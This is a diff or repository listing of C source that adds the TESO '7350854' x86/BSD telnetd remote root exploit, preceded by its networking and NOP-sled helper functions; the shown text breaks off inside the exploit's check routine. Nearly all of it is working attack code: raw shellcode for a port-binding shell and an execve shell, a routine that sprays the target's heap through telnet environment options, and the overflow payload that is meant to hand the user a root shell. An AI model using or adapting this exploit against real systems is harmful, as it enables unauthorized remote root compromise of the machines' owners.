| 689 | if (i == -1) { | ||
| 690 | he = gethostbyname(host); | ||
| 691 | if (he == NULL) { | ||
| 692 | return (0); | ||
| 693 | } else { | ||
| 694 | return (*(unsigned long *) he->h_addr); | ||
| 695 | } | ||
| 696 | } | ||
| 697 | return (i); | ||
| 698 | } | ||
| 699 | |||
| 700 | |||
| 701 | int | ||
| 702 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 703 | unsigned short int port, int sec) | ||
| 704 | { | ||
| 705 | int n, | ||
| 706 | len, | ||
| 707 | error, | ||
| 708 | flags; | ||
| 709 | int fd; | ||
| 710 | struct timeval tv; | ||
| 711 | fd_set rset, wset; | ||
| 712 | struct sockaddr_in csa; | ||
| 713 | |||
| 714 | if (cs == NULL) | ||
| 715 | cs = &csa; | ||
| 716 | |||
| 717 | /* first allocate a socket */ | ||
| 718 | cs->sin_family = AF_INET; | ||
| 719 | cs->sin_port = htons (port); | ||
| 720 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 721 | if (fd == -1) | ||
| 722 | return (-1); | ||
| 723 | |||
| 724 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 725 | close (fd); | ||
| 726 | return (-1); | ||
| 727 | } | ||
| 728 | |||
| 729 | flags = fcntl (fd, F_GETFL, 0); | ||
| 730 | if (flags == -1) { | ||
| 731 | close (fd); | ||
| 732 | return (-1); | ||
| 733 | } | ||
| 734 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 735 | if (n == -1) { | ||
| 736 | close (fd); | ||
| 737 | return (-1); | ||
| 738 | } | ||
| 739 | |||
| 740 | error = 0; | ||
| 741 | |||
| 742 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 743 | if (n < 0) { | ||
| 744 | if (errno != EINPROGRESS) { | ||
| 745 | close (fd); | ||
| 746 | return (-1); | ||
| 747 | } | ||
| 748 | } | ||
| 749 | if (n == 0) | ||
| 750 | goto done; | ||
| 751 | |||
| 752 | FD_ZERO(&rset); | ||
| 753 | FD_ZERO(&wset); | ||
| 754 | FD_SET(fd, &rset); | ||
| 755 | FD_SET(fd, &wset); | ||
| 756 | tv.tv_sec = sec; | ||
| 757 | tv.tv_usec = 0; | ||
| 758 | |||
| 759 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 760 | if (n == 0) { | ||
| 761 | close(fd); | ||
| 762 | errno = ETIMEDOUT; | ||
| 763 | return (-1); | ||
| 764 | } | ||
| 765 | if (n == -1) | ||
| 766 | return (-1); | ||
| 767 | |||
| 768 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 769 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 770 | len = sizeof(error); | ||
| 771 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 772 | errno = ETIMEDOUT; | ||
| 773 | return (-1); | ||
| 774 | } | ||
| 775 | if (error == 0) { | ||
| 776 | goto done; | ||
| 777 | } else { | ||
| 778 | errno = error; | ||
| 779 | return (-1); | ||
| 780 | } | ||
| 781 | } | ||
| 782 | } else | ||
| 783 | return (-1); | ||
| 784 | |||
| 785 | done: | ||
| 786 | n = fcntl(fd, F_SETFL, flags); | ||
| 787 | if (n == -1) | ||
| 788 | return (-1); | ||
| 789 | return (fd); | ||
| 790 | } | ||
| 791 | |||
| 792 | |||
| 793 | /* imported from shellkit */ | ||
| 794 | |||
| 795 | unsigned long int | ||
| 796 | random_get (unsigned long int low, unsigned long int high) | ||
| 797 | { | ||
| 798 | unsigned long int val; | ||
| 799 | |||
| 800 | if (low > high) { | ||
| 801 | low ^= high; | ||
| 802 | high ^= low; | ||
| 803 | low ^= high; | ||
| 804 | } | ||
| 805 | |||
| 806 | val = (unsigned long int) random (); | ||
| 807 | val %= (high - low); | ||
| 808 | val += low; | ||
| 809 | |||
| 810 | return (val); | ||
| 811 | } | ||
| 812 | |||
| 813 | |||
| 814 | void | ||
| 815 | random_init (void) | ||
| 816 | { | ||
| 817 | srandom (time (NULL)); | ||
| 818 | } | ||
| 819 | |||
| 820 | |||
| 821 | int | ||
| 822 | bad (unsigned char u) | ||
| 823 | { | ||
| 824 | if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') | ||
| 825 | return (1); | ||
| 826 | |||
| 827 | return (0); | ||
| 828 | } | ||
| 829 | |||
| 830 | int | ||
| 831 | badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) | ||
| 832 | { | ||
| 833 | int n; | ||
| 834 | |||
| 835 | for (code_len -= 1 ; code_len >= 0 ; --code_len) { | ||
| 836 | for (n = 0 ; n < bad_len ; ++n) | ||
| 837 | if (code[code_len] == bad[n]) | ||
| 838 | return (1); | ||
| 839 | } | ||
| 840 | |||
| 841 | return (0); | ||
| 842 | } | ||
| 843 | |||
| 844 | unsigned long int | ||
| 845 | x86_nop_rwreg (void) | ||
| 846 | { | ||
| 847 | unsigned long int reg; | ||
| 848 | |||
| 849 | do { | ||
| 850 | reg = random_get (0, 7); | ||
| 851 | } while (reg == 4); /* 4 = $esp */ | ||
| 852 | |||
| 853 | return (reg); | ||
| 854 | } | ||
| 855 | |||
| 856 | |||
| 857 | |||
| 858 | unsigned long int | ||
| 859 | x86_nop_xfer (char *xferstr) | ||
| 860 | { | ||
| 861 | int bw = 0; /* bitfield walker */ | ||
| 862 | unsigned char tgt; /* resulting instruction */ | ||
| 863 | |||
| 864 | /* in a valid xferstr we trust */ | ||
| 865 | for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { | ||
| 866 | switch (xferstr[0]) { | ||
| 867 | case ('0'): | ||
| 868 | BSET (tgt, 1, 0, bw); | ||
| 869 | break; | ||
| 870 | case ('1'): | ||
| 871 | BSET (tgt, 1, 1, bw); | ||
| 872 | break; | ||
| 873 | case ('r'): | ||
| 874 | BSET (tgt, 3, x86_nop_rwreg (), bw); | ||
| 875 | break; | ||
| 876 | case ('.'): | ||
| 877 | break; /* ignore */ | ||
| 878 | default: | ||
| 879 | fprintf (stderr, "on steroids, huh?\n"); | ||
| 880 | exit (EXIT_FAILURE); | ||
| 881 | break; | ||
| 882 | } | ||
| 883 | } | ||
| 884 | |||
| 885 | if (bw != 8) { | ||
| 886 | fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); | ||
| 887 | exit (EXIT_FAILURE); | ||
| 888 | } | ||
| 889 | |||
| 890 | return (tgt); | ||
| 891 | } | ||
| 892 | |||
| 893 | |||
| 894 | unsigned int | ||
| 895 | x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 896 | unsigned char *bad, int bad_len) | ||
| 897 | { | ||
| 898 | int walk; | ||
| 899 | int bcount; /* bad counter */ | ||
| 900 | char * xs; | ||
| 901 | char * xferstr[] = { | ||
| 902 | "0011.0111", /* aaa */ | ||
| 903 | "0011.1111", /* aas */ | ||
| 904 | "1001.1000", /* cbw */ | ||
| 905 | "1001.1001", /* cdq */ | ||
| 906 | "1111.1000", /* clc */ | ||
| 907 | "1111.1100", /* cld */ | ||
| 908 | "1111.0101", /* cmc */ | ||
| 909 | "0010.0111", /* daa */ | ||
| 910 | "0010.1111", /* das */ | ||
| 911 | "0100.1r", /* dec <reg> */ | ||
| 912 | "0100.0r", /* inc <reg> */ | ||
| 913 | "1001.1111", /* lahf */ | ||
| 914 | "1001.0000", /* nop */ | ||
| 915 | "1111.1001", /* stc */ | ||
| 916 | "1111.1101", /* std */ | ||
| 917 | "1001.0r", /* xchg al, <reg> */ | ||
| 918 | NULL, | ||
| 919 | }; | ||
| 920 | unsigned char tgt; | ||
| 921 | |||
| 922 | |||
| 923 | for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { | ||
| 924 | /* avoid endless loops on excessive badlisting */ | ||
| 925 | for (bcount = 0 ; bcount < 16384 ; ++bcount) { | ||
| 926 | xs = xferstr[random_get (0, 15)]; | ||
| 927 | tgt = x86_nop_xfer (xs); | ||
| 928 | |||
| 929 | dest[walk] = tgt; | ||
| 930 | if (badstr (&dest[walk], 1, bad, bad_len) == 0) | ||
| 931 | break; | ||
| 932 | } | ||
| 933 | |||
| 934 | /* should not happen */ | ||
| 935 | if (bcount >= 16384) { | ||
| 936 | fprintf (stderr, "too much blacklisting, giving up...\n"); | ||
| 937 | exit (EXIT_FAILURE); | ||
| 938 | } | ||
| 939 | } | ||
| 940 | |||
| 941 | return (walk); | ||
| 942 | } | ||
| 943 | |||
| 944 | |||
diff --git a/exploits/7350854/7350854.c b/exploits/7350854/7350854.c new file mode 100644 index 0000000..95dd740 --- /dev/null +++ b/exploits/7350854/7350854.c | |||
| @@ -0,0 +1,877 @@ | |||
| 1 | /* 7350854 - x86/bsd telnetd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 14 | * All Rights Reserved | ||
| 15 | * | ||
| 16 | ***************************************************************************** | ||
| 17 | * bug found by scut 2001/06/09 | ||
| 18 | * further research by smiler, zip, lorian and me. | ||
| 19 | * thanks to zip's cool friend for giving me a testbed to play on | ||
| 20 | * | ||
| 21 | * tested against: BSDI BSD/OS 4.1 | ||
| 22 | * NetBSD 1.5 | ||
| 23 | * FreeBSD 3.1 | ||
| 24 | * FreeBSD 4.0-REL | ||
| 25 | * FreeBSD 4.2-REL | ||
| 26 | * FreeBSD 4.3-BETA | ||
| 27 | * FreeBSD 4.3-STABLE | ||
| 28 | * FreeBSD 4.3-RELEASE | ||
| 29 | * | ||
| 30 | */ | ||
| 31 | |||
| 32 | #define VERSION "0.0.7" | ||
| 33 | |||
| 34 | #include <sys/types.h> | ||
| 35 | #include <sys/time.h> | ||
| 36 | #include <sys/socket.h> | ||
| 37 | #include <netinet/in.h> | ||
| 38 | #include <arpa/inet.h> | ||
| 39 | #include <arpa/telnet.h> | ||
| 40 | #include <netdb.h> | ||
| 41 | #include <errno.h> | ||
| 42 | #include <fcntl.h> | ||
| 43 | #include <unistd.h> | ||
| 44 | #include <stdio.h> | ||
| 45 | #include <stdlib.h> | ||
| 46 | #include <string.h> | ||
| 47 | #include <time.h> | ||
| 48 | |||
| 49 | |||
| 50 | /* global variables, uhhohh! | ||
| 51 | */ | ||
| 52 | int mode = 16; | ||
| 53 | int num = 245; | ||
| 54 | int pop = 31500; /* puts code at 0x08fdff0a */ | ||
| 55 | int bs = 1; /* buffer start */ | ||
| 56 | |||
| 57 | int num34 = 244; | ||
| 58 | int pop34 = 71833; /* puts code at 0x0a0d08fe */ | ||
| 59 | int bs34 = 0; | ||
| 60 | |||
| 61 | int walk; /* populator walker */ | ||
| 62 | int force = 0; /* force exploitation */ | ||
| 63 | int checkonly = 0; /* check telnetd only */ | ||
| 64 | |||
| 65 | |||
| 66 | void usage (char *progname); | ||
| 67 | int xp_check (int fd); | ||
| 68 | void xp_pop (int fd); | ||
| 69 | void xp_shrinkwin (int fd); | ||
| 70 | void xp_setenv (int fd, unsigned char *var, unsigned char *val); | ||
| 71 | void xp (int fd); | ||
| 72 | void shell (int sock); | ||
| 73 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 74 | |||
| 75 | /* imported from shellkit */ | ||
| 76 | unsigned long int random_get (unsigned long int low, unsigned long int high); | ||
| 77 | void random_init (void); | ||
| 78 | int bad (unsigned char u); | ||
| 79 | int badstr (unsigned char *code, int code_len, unsigned char *bad, | ||
| 80 | int bad_len); | ||
| 81 | unsigned long int x86_nop_rwreg (void); | ||
| 82 | unsigned long int x86_nop_xfer (char *xferstr); | ||
| 83 | unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 84 | unsigned char *bad, int bad_len); | ||
| 85 | |||
| 86 | #define BSET(dest, len, val, bw) { \ | ||
| 87 | dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ | ||
| 88 | dest |= val << (8 - bw - len); /* set value bits */ \ | ||
| 89 | bw += len; \ | ||
| 90 | } | ||
| 91 | |||
| 92 | /* imported from network.c */ | ||
| 93 | #define NET_CONNTIMEOUT 60 | ||
| 94 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 95 | |||
| 96 | unsigned long int net_resolve (char *host); | ||
| 97 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 98 | unsigned short int port, int sec); | ||
| 99 | |||
| 100 | |||
| 101 | /* x86/bsd PIC portshell shellcode | ||
| 102 | * by lorian/teso | ||
| 103 | * port 0x4444 (might want to change it here) | ||
| 104 | */ | ||
| 105 | unsigned char x86_bsd_portshell[] = | ||
| 106 | "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" | ||
| 107 | "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" | ||
| 108 | /* ^^ ^^ port */ | ||
| 109 | "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" | ||
| 110 | "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" | ||
| 111 | "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" | ||
| 112 | "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" | ||
| 113 | "\x80"; | ||
| 114 | |||
| 115 | /* x86/bsd PIC execve shellcode | ||
| 116 | * by lorian/teso | ||
| 117 | */ | ||
| 118 | unsigned char x86_bsd_execvesh[] = | ||
| 119 | "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" | ||
| 120 | "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; | ||
| 121 | |||
| 122 | /* x86/bsd(i)+solaris execve shellcode | ||
| 123 | * by lorian/teso | ||
| 124 | */ | ||
| 125 | unsigned char x86_bsd_compaexec[] = | ||
| 126 | "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0" | ||
| 127 | "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b" | ||
| 128 | "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" | ||
| 129 | "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7"; | ||
| 130 | |||
| 131 | |||
| 132 | unsigned char * shellcode = x86_bsd_compaexec; | ||
| 133 | |||
| 134 | |||
| 135 | #define COL 55 | ||
| 136 | |||
| 137 | |||
| 138 | void | ||
| 139 | usage (char *progname) | ||
| 140 | { | ||
| 141 | fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname); | ||
| 142 | fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" | ||
| 143 | "-c\tcheck exploitability only, do not exploit\n" | ||
| 144 | "-f\tforce mode, override check results\n\n"); | ||
| 145 | fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n" | ||
| 146 | "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n" | ||
| 147 | "take that, or it will take very long for it (> 1h). beware.\n\n"); | ||
| 148 | |||
| 149 | fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n" | ||
| 150 | "\tNetBSD 1.5\n" | ||
| 151 | "\tBSDI BSD/OS 4.1\n\n"); | ||
| 152 | |||
| 153 | exit (EXIT_FAILURE); | ||
| 154 | } | ||
| 155 | |||
| 156 | int | ||
| 157 | main (int argc, char *argv[]) | ||
| 158 | { | ||
| 159 | char c; | ||
| 160 | char * progname; | ||
| 161 | char * dest; | ||
| 162 | int i, j, fd, | ||
| 163 | dots = 0; | ||
| 164 | int popc; | ||
| 165 | struct timeval start, | ||
| 166 | cur; | ||
| 167 | unsigned long long int g_pct, /* gaussian percentage */ | ||
| 168 | g_all; /* gaussian overall */ | ||
| 169 | |||
| 170 | |||
| 171 | fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" | ||
| 172 | "by zip, lorian, smiler and scut.\n\n"); | ||
| 173 | |||
| 174 | progname = argv[0]; | ||
| 175 | if (argc < 2) | ||
| 176 | usage (progname); | ||
| 177 | |||
| 178 | |||
| 179 | while ((c = getopt (argc, argv, "n:cf")) != EOF) { | ||
| 180 | switch (c) { | ||
| 181 | case 'n': | ||
| 182 | num = atoi (optarg); | ||
| 183 | break; | ||
| 184 | case 'c': | ||
| 185 | checkonly = 1; | ||
| 186 | break; | ||
| 187 | case 'f': | ||
| 188 | force = 1; | ||
| 189 | break; | ||
| 190 | default: | ||
| 191 | usage (progname); | ||
| 192 | break; | ||
| 193 | } | ||
| 194 | } | ||
| 195 | |||
| 196 | dest = argv[argc - 1]; | ||
| 197 | if (dest[0] == '-') | ||
| 198 | usage (progname); | ||
| 199 | |||
| 200 | fd = net_connect (NULL, dest, 23, 20); | ||
| 201 | if (fd <= 0) { | ||
| 202 | fprintf (stderr, "failed to connect\n"); | ||
| 203 | exit (EXIT_FAILURE); | ||
| 204 | } | ||
| 205 | |||
| 206 | random_init (); | ||
| 207 | |||
| 208 | if (xp_check (fd) == 0 && force == 0) { | ||
| 209 | printf ("aborting\n"); | ||
| 210 | #ifndef DEBUG | ||
| 211 | exit (EXIT_FAILURE); | ||
| 212 | #endif | ||
| 213 | } | ||
| 214 | close (fd); | ||
| 215 | |||
| 216 | if (checkonly) | ||
| 217 | exit (EXIT_SUCCESS); | ||
| 218 | |||
| 219 | fd = net_connect (NULL, dest, 23, 20); | ||
| 220 | if (fd <= 0) { | ||
| 221 | fprintf (stderr, "failed to connect the second time\n"); | ||
| 222 | exit (EXIT_FAILURE); | ||
| 223 | } | ||
| 224 | |||
| 225 | printf ("\n#############################################################################\n\n"); | ||
| 226 | printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" | ||
| 227 | "telnet daemon process, it will spill badly. but then, there is no\n" | ||
| 228 | "other way, sorry...\n\n", mode); | ||
| 229 | |||
| 230 | #ifdef DEBUG | ||
| 231 | getchar (); | ||
| 232 | #endif | ||
| 233 | printf ("## setting populators to populate heap address space\n"); | ||
| 234 | |||
| 235 | g_all = ((unsigned long long int)(pop / 2)) * | ||
| 236 | ((unsigned long long int)(pop + 1)); | ||
| 237 | g_pct = 0; | ||
| 238 | |||
| 239 | printf ("## number of setenvs (dots / network): %d\n", pop); | ||
| 240 | printf ("## number of walks (percentage / cpu): %Lu\n", g_all); | ||
| 241 | printf ("##\n"); | ||
| 242 | printf ("## the percentage is more realistic than the dots ;)\n"); | ||
| 243 | printf ("\n"); | ||
| 244 | printf ("percent |"); | ||
| 245 | |||
| 246 | popc = pop / COL; | ||
| 247 | for (i = pop / popc ; i >= 0 ; --i) | ||
| 248 | printf ("-"); | ||
| 249 | printf ("| ETA |\n"); | ||
| 250 | |||
| 251 | gettimeofday (&start, NULL); | ||
| 252 | |||
| 253 | for (walk = 0 ; walk < pop ; ++walk) { | ||
| 254 | xp_pop (fd); | ||
| 255 | |||
| 256 | g_pct += walk; | ||
| 257 | |||
| 258 | if (walk % popc == 0) | ||
| 259 | dots += 1; | ||
| 260 | |||
| 261 | if (walk % 200 == 0) { | ||
| 262 | int pct; | ||
| 263 | float pct_f; | ||
| 264 | unsigned long int diff; | ||
| 265 | |||
| 266 | pct = (int) ((g_pct * 100) / g_all); | ||
| 267 | pct_f = g_pct * 100; | ||
| 268 | pct_f /= (float) g_all; | ||
| 269 | |||
| 270 | /* calculate difference not caring about accuracy */ | ||
| 271 | gettimeofday (&cur, NULL); | ||
| 272 | diff = cur.tv_sec - start.tv_sec; | ||
| 273 | |||
| 274 | printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? | ||
| 275 | "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); | ||
| 276 | for (j = 0 ; j < dots ; ++j) | ||
| 277 | printf ("."); | ||
| 278 | for ( ; j <= COL ; ++j) | ||
| 279 | printf (" "); | ||
| 280 | |||
| 281 | if (pct != 0) { | ||
| 282 | diff = (int) ((((float)(100 - pct_f)) / | ||
| 283 | (float) pct_f) * diff); | ||
| 284 | printf ("| %02lu:%02lu:%02lu |", | ||
| 285 | diff / 3600, (diff % 3600) / 60, | ||
| 286 | diff % 60); | ||
| 287 | } else { | ||
| 288 | printf ("| --:--:-- |"); | ||
| 289 | } | ||
| 290 | |||
| 291 | fflush (stdout); | ||
| 292 | } | ||
| 293 | } | ||
| 294 | printf ("\n\n"); | ||
| 295 | |||
| 296 | printf ("## sleeping for 10 seconds to let the process recover\n"); | ||
| 297 | sleep (10); | ||
| 298 | |||
| 299 | #ifdef DEBUG | ||
| 300 | getchar (); | ||
| 301 | #endif | ||
| 302 | /* return into 0x08feff0a */ | ||
| 303 | xp (fd); | ||
| 304 | sleep (1); | ||
| 305 | |||
| 306 | printf ("## ok, you should now have a root shell\n"); | ||
| 307 | printf ("## as always, after hard times, there is a reward...\n"); | ||
| 308 | printf ("\n\ncommand: "); | ||
| 309 | fflush (stdout); | ||
| 310 | |||
| 311 | shell (fd); | ||
| 312 | |||
| 313 | exit (EXIT_SUCCESS); | ||
| 314 | } | ||
| 315 | |||
| 316 | |||
| 317 | void | ||
| 318 | xp (int fd) | ||
| 319 | { | ||
| 320 | int n; | ||
| 321 | unsigned char buf[2048]; | ||
| 322 | |||
| 323 | |||
| 324 | /* basic overflow */ | ||
| 325 | for (n = bs ; n < sizeof (buf) ; ++n) | ||
| 326 | buf[n] = (n - bs) % 2 ? '\xf6' : '\xff'; | ||
| 327 | |||
| 328 | /* some nifty alignment */ | ||
| 329 | buf[0] = '\xff'; /* IAC */ | ||
| 330 | buf[1] = '\xf5'; /* AO */ | ||
| 331 | |||
| 332 | if (mode == 16) { | ||
| 333 | buf[2] = '\xff'; /* IAC */ | ||
| 334 | buf[3] = '\xfb'; /* WILL */ | ||
| 335 | buf[4] = '\x26'; /* ENCRYPTION */ | ||
| 336 | } | ||
| 337 | |||
| 338 | /* force 0x08feff0a as return */ | ||
| 339 | buf[num++] = '\xff'; | ||
| 340 | buf[num++] = '\xfb'; | ||
| 341 | buf[num++] = '\x08'; | ||
| 342 | |||
| 343 | /* and the output_encrypt overwrite action, yay! */ | ||
| 344 | buf[num++] = '\xff'; | ||
| 345 | buf[num++] = '\xf6'; | ||
| 346 | |||
| 347 | /* XXX: should not fail here, though we should better loop and check */ | ||
| 348 | n = send (fd, buf, num, 0); | ||
| 349 | if (n != num) { | ||
| 350 | perror ("xp:send"); | ||
| 351 | } | ||
| 352 | } | ||
| 353 | |||
| 354 | |||
| 355 | #ifdef INSANE_MIND | ||
| 356 | |||
| 357 | void | ||
| 358 | xp_shrinkwin (int fd) | ||
| 359 | { | ||
| 360 | int n; | ||
| 361 | int iobc; | ||
| 362 | int p = 0; | ||
| 363 | unsigned char buf[2048]; | ||
| 364 | char c; | ||
| 365 | int val; | ||
| 366 | int len; | ||
| 367 | |||
| 368 | for (n = 0 ; n < sizeof (buf) ; ++n) | ||
| 369 | buf[n] = n % 2 ? '\xf6' : '\xff'; | ||
| 370 | |||
| 371 | len = sizeof (val); | ||
| 372 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 373 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 374 | val = 1; | ||
| 375 | printf ("setsockopt: %s\n", | ||
| 376 | setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ? | ||
| 377 | "FAILED" : "SUCCESS"); | ||
| 378 | val = 1234; | ||
| 379 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 380 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 381 | |||
| 382 | getchar(); | ||
| 383 | while (1) { | ||
| 384 | if (p > 105) | ||
| 385 | c = getchar(); | ||
| 386 | if (c == 'r') { | ||
| 387 | getchar(); | ||
| 388 | read (fd, &buf[1024], 384); | ||
| 389 | } else if (c == 'o') { | ||
| 390 | getchar(); | ||
| 391 | send (fd, "7", 1, MSG_OOB); | ||
| 392 | } else if (c != 'r') { | ||
| 393 | usleep(100000); | ||
| 394 | n = send (fd, buf, 112, 0); | ||
| 395 | ioctl (fd, FIONREAD, &iobc); | ||
| 396 | len = sizeof (val); | ||
| 397 | getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len); | ||
| 398 | printf ("%02d. send: %d local: %d/%d (%d left)\n", | ||
| 399 | ++p, n, iobc, val, val - iobc); | ||
| 400 | } | ||
| 401 | } | ||
| 402 | } | ||
| 403 | #endif | ||
| 404 | |||
| 405 | |||
| 406 | /* xp_pop - populator function | ||
| 407 | * | ||
| 408 | * causes remote telnet daemon to setenv() variables with our content, populating | ||
| 409 | * the heap with shellcode. this will get us more nopspace and place our shellcode | ||
| 410 | * where the nice addresses are, that we can create by writing telnet option | ||
| 411 | * strings. | ||
| 412 | * | ||
| 413 | * XXX: there seems to be a maximum size for the environment value you can set, | ||
| 414 | * which is 510. we use 496 bytes for nopspace and shellcode therefore. | ||
| 415 | * should work, rather similar to tsig tcp/malloc exploitation. -sc | ||
| 416 | */ | ||
| 417 | |||
| 418 | void | ||
| 419 | xp_pop (int fd) | ||
| 420 | { | ||
| 421 | unsigned char var[16]; | ||
| 422 | unsigned char storebuf[496]; | ||
| 423 | sprintf (var, "%06x", walk); | ||
| 424 | #ifdef DEBUG | ||
| 425 | memset (storebuf, '\xcc', sizeof (storebuf)); | ||
| 426 | #else | ||
| 427 | /* memset (storebuf, '\x90', sizeof (storebuf)); */ | ||
| 428 | x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); | ||
| 429 | memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, | ||
| 430 | shellcode, strlen (shellcode)); | ||
| 431 | #endif | ||
| 432 | storebuf[sizeof (storebuf) - 1] = '\0'; | ||
| 433 | |||
| 434 | xp_setenv (fd, var, storebuf); | ||
| 435 | } | ||
| 436 | |||
| 437 | |||
| 438 | void | ||
| 439 | xp_setenv (int fd, unsigned char *var, unsigned char *val) | ||
| 440 | { | ||
| 441 | int n = 0; | ||
| 442 | unsigned char buf[2048]; | ||
| 443 | |||
| 444 | buf[n++] = IAC; | ||
| 445 | buf[n++] = SB; | ||
| 446 | buf[n++] = TELOPT_NEW_ENVIRON; | ||
| 447 | buf[n++] = TELQUAL_IS; | ||
| 448 | buf[n++] = ENV_USERVAR; | ||
| 449 | |||
| 450 | /* should not contain < 0x04 */ | ||
| 451 | while (*var) { | ||
| 452 | if (*var == IAC) | ||
| 453 | buf[n++] = *var; | ||
| 454 | buf[n++] = *var++; | ||
| 455 | } | ||
| 456 | buf[n++] = NEW_ENV_VALUE; | ||
| 457 | while (*val) { | ||
| 458 | if (*val == IAC) | ||
| 459 | buf[n++] = *val; | ||
| 460 | buf[n++] = *val++; | ||
| 461 | } | ||
| 462 | buf[n++] = IAC; | ||
| 463 | buf[n++] = SE; | ||
| 464 | |||
| 465 | if (send (fd, buf, n, 0) != n) { | ||
| 466 | perror ("xp_setenv:send"); | ||
| 467 | exit (EXIT_FAILURE); | ||
| 468 | } | ||
| 469 | } | ||
| 470 | |||
| 471 | |||
| 472 | int | ||
| 473 | xp_check (int fd) | ||
| 474 | { | ||
| 475 | int n; | ||
| 476 | unsigned int expect_len = 15; | ||
| 477 | unsigned char expected[] = | ||
| 478 | "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26"; | ||
| 479 | /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/ | ||
| 480 | unsigned int additional_len = 8; | ||
| 481 | unsigned char additional[] = | ||
| 482 | "\xff\xfa\x26\x01\x01\x02\xff\xf0"; | ||
| 483 | /*IAC SB ENC ........... IAC SE */ | ||
| 484 | |||
| 485 | unsigned char buf[128]; | ||
| 486 | |||
| 487 | read (fd, buf, sizeof (buf)); | ||
| 488 | |||
| 489 | n = 0; | ||
| 490 | buf[n++] = IAC; /* 0xff */ | ||
| 491 | buf[n++] = AYT; /* 0xf6 */ | ||
| 492 | |||
| 493 | buf[n++] = IAC; /* 0xff */ | ||
| 494 | buf[n++] = WILL; /* 0xfb */ | ||
| 495 | buf[n++] = TELOPT_NAOL; /* 0x08 */ | ||
| 496 | |||
| 497 | buf[n++] = IAC; /* 0xff */ | ||
| 498 | buf[n++] = WILL; /* 0xfb */ | ||
| 499 | buf[n++] = TELOPT_ENCRYPT; /* 0x26 */ | ||
| 500 | |||
| 501 | #ifdef DEBUG | ||
| 502 | hexdump ("check send buffer", buf, n); | ||
| 503 | #endif | ||
| 504 | if (send (fd, buf, n, 0) != n) { | ||
| 505 | perror ("xp_check:send"); | ||
| 506 | exit (EXIT_FAILURE); | ||
| 507 | } | ||
| 508 | |||
| 509 | n = read (fd, buf, sizeof (buf)); | ||
| 510 | #ifdef DEBUG | ||
| 511 | hexdump ("check recv buffer", buf, n); | ||
| 512 | #endif | ||
| 513 | |||
| 514 | if (memcmp (buf, expected, expect_len) == 0) { | ||
| 515 | if (memcmp (buf+expect_len, additional, additional_len) == 0) { | ||
| 516 | mode = 16; | ||
| 517 | } else { | ||
| 518 | mode = 34; | ||
| 519 | bs = bs34; | ||
| 520 | } | ||
| 521 | printf ("check: PASSED, using %dmb mode\n", mode); | ||
